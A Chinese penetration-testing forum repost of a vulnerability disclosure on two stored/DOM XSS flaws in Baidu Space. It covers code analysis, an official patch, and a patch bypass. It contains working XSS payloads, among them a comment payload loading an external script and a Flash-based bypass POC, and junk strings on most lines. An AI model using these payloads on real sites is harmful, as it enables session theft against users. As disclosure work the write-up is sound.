中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
3 j/ P! @5 x  u2 f% }. a/ G6 n4 x& b4 @2 k: \$ Y; q
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
% u6 S& {+ Y7 M, E6 S2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  # @0 l$ a! t  o# U2 X  r9 R

. U5 j( a, V2 P* h% j% Y将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
' l% g4 x. n3 ~# m* z其中BdUtil.insertWBR为  $ @+ X- Z+ x+ |; B
function(text, step) {  9 p. ^1 S, l" {
    var textarea = textAreaCache || getContainer();  $ h& F8 g7 e* e$ x- [3 D
    if (!textarea) {  
, T" C/ G- B$ u# D* n- b        return text;  
" w3 o; _6 O1 b' x1 h* H. j    }  % Y& {+ J" J7 Z( n" B
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
/ }; \+ n  y/ {* I  |6 Y4 {; P! E    var string = textarea.value;    P; R# ?% U2 O5 `9 A
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  ' F+ L' e' d, F7 f0 |0 [3 `
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
) W8 M/ o9 M5 k# V9 j( R! ?3 Z) }    return result;  
8 N0 I" d% h$ J* r}  - T8 ]) P0 W( l$ h% k+ p
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
8 x/ f$ l. {: y) D) L. z测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
3 F9 V7 M% l! R# w3 Q) H. f# i   , n2 {* Q  c8 ~  p: L* V' d& |
二:creatbgmusic() Dom-Xss Bug  
, c9 f4 `; [, O4 @8 ^百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
# H0 y6 X; F1 y) r! s; h( {0 ~
: ^: s4 I/ G6 G% p7 y6 {7 I7 Dhttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  ; a, {0 P3 G; c( m; z0 _7 C

' {8 F9 P# y' Nfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  * |/ b7 n9 N+ q/ L
    //传入的murl赋值到bgmusic1和bgmusic2中  ! r! o! o$ L* c4 k4 }# c
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
8 K* W7 r8 W5 Y( ?- Y, g5 @    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
+ j+ ?6 z) C2 k" ]7 M4 z8 K& x    if (musicnum <= 1) {  + @- T8 I2 E# u
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
& J5 H2 J: K: A1 Y    }  $ K) R* M& a2 M
    bgmusic1 += "</OBJECT>";  & E4 o# h7 I9 M% H- \5 c3 Z. F
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
8 V8 I# ~4 \* p6 ^( F; q$ g3 X. s    if (musicnum <= 1) {  8 }9 t- P5 o: ~) P! K
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  $ m7 \! d7 G3 g/ U8 ?4 O
    }  
- C+ Z, K6 s1 `" L- G4 q8 J    bgmusic2 += "> </EMBED>";  ( V3 B) g0 H6 g0 o' J
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
/ Y/ o8 M; f: E: P# a3 A    var bgmus = detectWMP();  
+ B7 d; {$ u' h) p    if (functype == "FckMusicHelper") {  
6 t1 z) _- ?  j7 f/ r0 }        if (bgmus.installed) {  
& }; ]0 a0 I# J            if (bgmus.type == "IE") {  # F  f# G- p: U: M* G
                return bgmusic1;  % l% q: K$ p5 [0 p# w
            } else if (bgmus.type == "NS") {  
6 C( z5 D" B9 c- q" e9 s7 m" p) [                return bgmusic2;  4 M9 y: z+ S2 J7 X5 a* O. H4 A, Q$ c
            }  
% r; D  b+ \. R0 K        } else {  
5 h; N5 C( ~1 N  V9 \3 u( h2 I, q            return bgmusic3;  
3 X( `, h/ h4 m# G6 j4 ~; l$ H        }  1 Q' [7 n  p# `# z# O3 p/ z
    } else {  ! Z- |! \8 P  F: E) c* H
        if (bgmus.installed) {  ( F$ ^9 p2 w6 X9 B
            //document.write 直接输出bgmusic变量 导致xss  1 L& [9 A6 K( o/ ^; \
            if (bgmus.type == "IE") {  
  D: @" s' q, l, f; H% |3 ^& j                document.write(bgmusic1);  / i- p: s$ Y# L: N- g/ M
            } else if (bgmus.type == "NS") {  
8 u  F. r2 K& P7 t% A+ Y4 `. D7 z8 f                document.write(bgmusic2);  
5 N# {" o" m4 L1 T4 C% ?& G- E' W            }  
  m; ^! U1 f; F. x% L$ k  y3 y% z* A        } else {  
; u$ |7 |# m, C3 V            document.write(bgmusic3);  6 H3 I+ T! d' o! g
        }  
: ^2 }  i( _2 K2 |! c4 k        return "";  ) U, P8 k$ n/ j% L$ ]3 X" [
    }  . _% r, L4 L8 |3 C
}  6 D8 K% I+ ]% |/ d

  U* X. [1 n4 d0 t2 I在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  ; q+ I- l4 S" E; K
( ~: _- }% W: E" t3 C2 C+ ]/ a- S
function initBlogTextForFCK(){  
( [$ E7 h2 C2 \, n; Z//fck init music  
% j0 N) d& w; ]6 J8 w3 Hif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  . t" M) _5 u4 ~6 S* u
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
6 _9 K' p. g6 O, b/ S8 K6 |3 O& kvar isAutoPlay=true;    Y, J/ [5 J2 v7 |
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
% L2 g7 U$ Z6 ~1 ^! e/ z  var img=imgBox;  ' O7 A9 h: W" r9 \; r! ~4 @" j
  if(img.getAttribute(’rel’)){        4 ?  a! ~( i1 L3 e) r, R3 j
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
3 _2 T( G% A5 \   var musicDiv = document.createElement("SPAN");  
# t4 c- R3 p0 x7 {. v" _3 ^3 E   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
% w* r& k" |' u! d: i9 U( S     7 Y* p& f" p. P# N0 o: |
      ..........................  3 X5 r) o4 k+ Z3 V3 T' S9 g
     ; I5 M/ k$ l) m5 g2 G2 ]1 [
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
( a% `* T: k2 O- Y, f   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
  T: W+ b1 o  n, T$ r5 V   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  , K; @2 i+ k0 V) ]
   musicDiv.innerHTML=shtml;  
3 S& x2 q5 y( S4 Z0 z9 s   i--;n--;  : P( Q6 G( ^* ^1 h9 X! X% U
  }  ) G% ]. n; R, o1 m
}  
( y$ G& ~; `4 Y" q1 {3 D$ ?% i! m: P. ^2 s. k- _# S
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  * k, [% r5 O* m6 C/ Y
   
1 Z  g) j  T2 Y+ o4 q测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  . T; R' n# E+ F6 z8 j* F& G/ S
7 t' y1 Q7 u6 ]+ `, \3 v
等待官方补丁  ) ^1 {1 m8 {, {- x5 P* o6 \

: R( _5 V6 f1 Oupdate 2010年5月13日   0 f: A2 O/ |  o7 n* g( k+ H% w6 v# H
8 H' R# w# x* p3 F4 w5 c
官方补丁:  
0 H# Z' L$ R6 V- }+ T9 ]# [  ]. m+ C3 C, r& T: {+ B5 }
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
) a% P( ]" h# |. `' Q( m. P1 y改为:  
* O9 s& O& Y1 X3 j( ]) V% ~! wvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
4 q" H5 w& o* F( s* E5 H
. B, N1 q1 x1 m  r4 E8 eupdate 2010年5月13日 21:50:37  
/ c7 F* [6 j7 Y# c0 \! f/ P* `7 T. S1 r- R2 e; `; e% Y
补丁存在漏洞 没有过滤" 可以继续跨:  . g2 n4 X) u3 S8 U) M  S' L* o* n. L

5 W: _; x0 y) w0 x' }# ]4 jNEW POC:  . U1 j7 d$ X  N

8 [: R9 N/ B) [8 l: h1 e* `4 ~<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
/ Z& S. l( L2 d/ E
0 K/ ~. x4 C9 K" U6 N+ V/ D0 }allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>( ^  m) m! f6 z! I
: Y* [: g9 z* F" w, Q, ^9 c





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2